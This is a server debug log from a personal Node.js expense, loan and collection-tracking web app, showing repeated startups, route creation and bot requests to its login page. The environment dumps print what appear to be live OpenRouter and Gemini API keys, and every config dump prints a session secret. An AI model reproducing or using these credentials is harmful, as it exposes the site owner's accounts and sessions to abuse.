    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '146.148.80.218',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-09T04:20:27.890Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-09T04:20:30.068Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-09T04:20:30.929Z server-connect:setup:upload Upload middleware configured.
2026-06-09T04:20:30.929Z server-connect:secure CSRF Protection initialized
2026-06-09T04:20:30.931Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-09T04:20:30.934Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-09T04:20:30.935Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-09T04:20:30.937Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-09T04:20:30.943Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-09T04:20:30.948Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-09T04:20:30.960Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-09T04:20:30.974Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-09T04:20:30.978Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-09T04:20:30.980Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-09T04:20:30.982Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-09T04:20:30.986Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-09T04:20:30.992Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-09T04:20:31.001Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-09T04:20:31.006Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-09T04:20:31.076Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-09T04:20:31.077Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-09T04:20:31.082Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-09T04:20:31.087Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-09T04:20:31.091Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-09T04:20:31.093Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-09T04:20:31.101Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-09T04:20:31.103Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-09T04:20:31.109Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-09T04:20:31.111Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-09T04:20:31.115Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-09T04:20:31.117Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-09T04:20:31.121Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-09T04:20:31.127Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-09T04:20:31.129Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-09T04:20:31.129Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-09T04:20:31.133Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-09T04:20:31.136Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-09T04:20:31.138Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-09T04:20:31.144Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-09T04:20:31.148Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-09T04:20:31.151Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-09T04:20:31.160Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-09T10:14:02.334Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-09T10:14:04.605Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-09T10:14:05.467Z server-connect:setup:upload Upload middleware configured.
2026-06-09T10:14:05.467Z server-connect:secure CSRF Protection initialized
2026-06-09T10:14:05.472Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-09T10:14:05.473Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-09T10:14:05.474Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-09T10:14:05.477Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-09T10:14:05.482Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-09T10:14:05.491Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-09T10:14:05.501Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-09T10:14:05.513Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-09T10:14:05.518Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-09T10:14:05.520Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-09T10:14:05.522Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-09T10:14:05.526Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-09T10:14:05.532Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-09T10:14:05.542Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-09T10:14:05.545Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-09T10:14:05.617Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-09T10:14:05.618Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-09T10:14:05.620Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-09T10:14:05.630Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-09T10:14:05.634Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-09T10:14:05.634Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-09T10:14:05.644Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-09T10:14:05.644Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-09T10:14:05.651Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-09T10:14:05.651Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-09T10:14:05.657Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-09T10:14:05.657Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-09T10:14:05.661Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-09T10:14:05.665Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-09T10:14:05.669Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-09T10:14:05.669Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-09T10:14:05.672Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-09T10:14:05.676Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-09T10:14:05.678Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-09T10:14:05.684Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-09T10:14:05.687Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-09T10:14:05.690Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-09T10:14:05.699Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-09T17:21:36.713Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-09T17:21:38.983Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-09T17:21:39.848Z server-connect:setup:upload Upload middleware configured.
2026-06-09T17:21:39.848Z server-connect:secure CSRF Protection initialized
2026-06-09T17:21:39.852Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-09T17:21:39.854Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-09T17:21:39.857Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-09T17:21:39.858Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-09T17:21:39.864Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-09T17:21:39.869Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-09T17:21:39.882Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-09T17:21:39.895Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-09T17:21:39.899Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-09T17:21:39.903Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-09T17:21:39.905Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-09T17:21:39.908Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-09T17:21:39.915Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-09T17:21:39.924Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-09T17:21:39.929Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-09T17:21:40.001Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-09T17:21:40.002Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-09T17:21:40.008Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-09T17:21:40.013Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-09T17:21:40.016Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-09T17:21:40.018Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-09T17:21:40.027Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-09T17:21:40.028Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-09T17:21:40.033Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-09T17:21:40.037Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-09T17:21:40.040Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-09T17:21:40.043Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-09T17:21:40.043Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-09T17:21:40.051Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-09T17:21:40.051Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-09T17:21:40.053Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-09T17:21:40.056Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-09T17:21:40.059Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-09T17:21:40.062Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-09T17:21:40.067Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-09T17:21:40.072Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-09T17:21:40.072Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-09T17:21:40.082Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-09T17:27:42.061Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-09T17:27:42.221Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-09T17:27:42.310Z server-connect:setup:upload Upload middleware configured.
2026-06-09T17:27:42.310Z server-connect:secure CSRF Protection initialized
2026-06-09T17:27:42.312Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-09T17:27:42.314Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-09T17:27:42.314Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-09T17:27:42.315Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-09T17:27:42.315Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-09T17:27:42.316Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-09T17:27:42.317Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-09T17:27:42.318Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-09T17:27:42.320Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-09T17:27:42.321Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-09T17:27:42.321Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-09T17:27:42.321Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-09T17:27:42.321Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-09T17:27:42.322Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-09T17:27:42.322Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-09T17:27:42.323Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-09T17:27:42.323Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-09T17:27:42.323Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-09T17:27:42.323Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-09T17:27:42.324Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-09T17:27:42.324Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-09T17:27:42.324Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-09T17:27:42.325Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-09T17:27:42.325Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-09T17:27:42.325Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-09T17:27:42.325Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-09T17:27:42.325Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-09T17:27:42.326Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-09T17:27:42.326Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-09T17:27:42.326Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-09T17:27:42.326Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-09T17:27:42.326Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-09T17:27:42.327Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-09T17:27:42.327Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-09T17:27:42.327Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-09T17:27:42.327Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-09T17:27:42.327Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-09T17:27:42.328Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-09T17:27:42.619Z server-connect:router Serving templateView /
2026-06-09T17:27:42.622Z server-connect:app Executing action step identify
2026-06-09T17:27:42.622Z server-connect:app options: { provider: 'security' }
2026-06-09T17:27:42.626Z server-connect:auth No login cookie found
2026-06-09T17:27:42.626Z server-connect:output identity: false
2026-06-09T17:27:42.626Z server-connect:app Executing action step restrict
2026-06-09T17:27:42.626Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-09T17:27:42.628Z server-connect:output restrict: undefined
2026-06-09T17:27:42.805Z server-connect:router Serving templateView /login
2026-06-09T17:27:42.805Z server-connect:app Executing action step identify
2026-06-09T17:27:42.806Z server-connect:app options: { provider: 'security' }
2026-06-09T17:27:42.806Z server-connect:auth No login cookie found
2026-06-09T17:27:42.806Z server-connect:output identity: false
2026-06-09T17:27:42.806Z server-connect:router Render template layouts/authentication
2026-06-09T17:27:42.807Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.87.56.97',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-10T17:27:42.805Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.87.56.97',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.87.56.97',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-10T00:17:02.671Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T00:17:04.965Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T00:17:05.828Z server-connect:setup:upload Upload middleware configured.
2026-06-10T00:17:05.828Z server-connect:secure CSRF Protection initialized
2026-06-10T00:17:05.831Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T00:17:05.832Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T00:17:05.833Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T00:17:05.835Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T00:17:05.843Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T00:17:05.847Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T00:17:05.859Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T00:17:05.872Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T00:17:05.877Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T00:17:05.879Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T00:17:05.881Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T00:17:05.885Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T00:17:05.890Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T00:17:05.900Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T00:17:05.903Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T00:17:05.975Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T00:17:05.976Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T00:17:05.979Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T00:17:05.986Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T00:17:05.990Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T00:17:05.992Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T00:17:06.000Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T00:17:06.002Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T00:17:06.008Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T00:17:06.010Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T00:17:06.014Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T00:17:06.016Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T00:17:06.018Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T00:17:06.023Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T00:17:06.025Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T00:17:06.027Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-10T00:17:06.029Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T00:17:06.035Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T00:17:06.037Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T00:17:06.043Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T00:17:06.047Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T00:17:06.049Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T00:17:06.058Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T00:17:06.550Z server-connect:router Serving templateView /
2026-06-10T00:17:06.553Z server-connect:router Serving templateView /
2026-06-10T00:17:06.554Z server-connect:app Executing action step identify
2026-06-10T00:17:06.554Z server-connect:app options: { provider: 'security' }
2026-06-10T00:17:06.556Z server-connect:auth No login cookie found
2026-06-10T00:17:06.556Z server-connect:output identity: false
2026-06-10T00:17:06.556Z server-connect:app Executing action step restrict
2026-06-10T00:17:06.556Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T00:17:06.559Z server-connect:output restrict: undefined
2026-06-10T00:17:06.559Z server-connect:app Executing action step identify
2026-06-10T00:17:06.559Z server-connect:app options: { provider: 'security' }
2026-06-10T00:17:06.559Z server-connect:auth No login cookie found
2026-06-10T00:17:06.559Z server-connect:output identity: false
2026-06-10T00:17:06.559Z server-connect:app Executing action step restrict
2026-06-10T00:17:06.559Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T00:17:06.560Z server-connect:output restrict: undefined
2026-06-10T00:17:06.665Z server-connect:router Serving templateView /login
2026-06-10T00:17:06.665Z server-connect:app Executing action step identify
2026-06-10T00:17:06.665Z server-connect:app options: { provider: 'security' }
2026-06-10T00:17:06.665Z server-connect:auth No login cookie found
2026-06-10T00:17:06.665Z server-connect:output identity: false
2026-06-10T00:17:06.665Z server-connect:router Render template layouts/authentication
2026-06-10T00:17:06.666Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
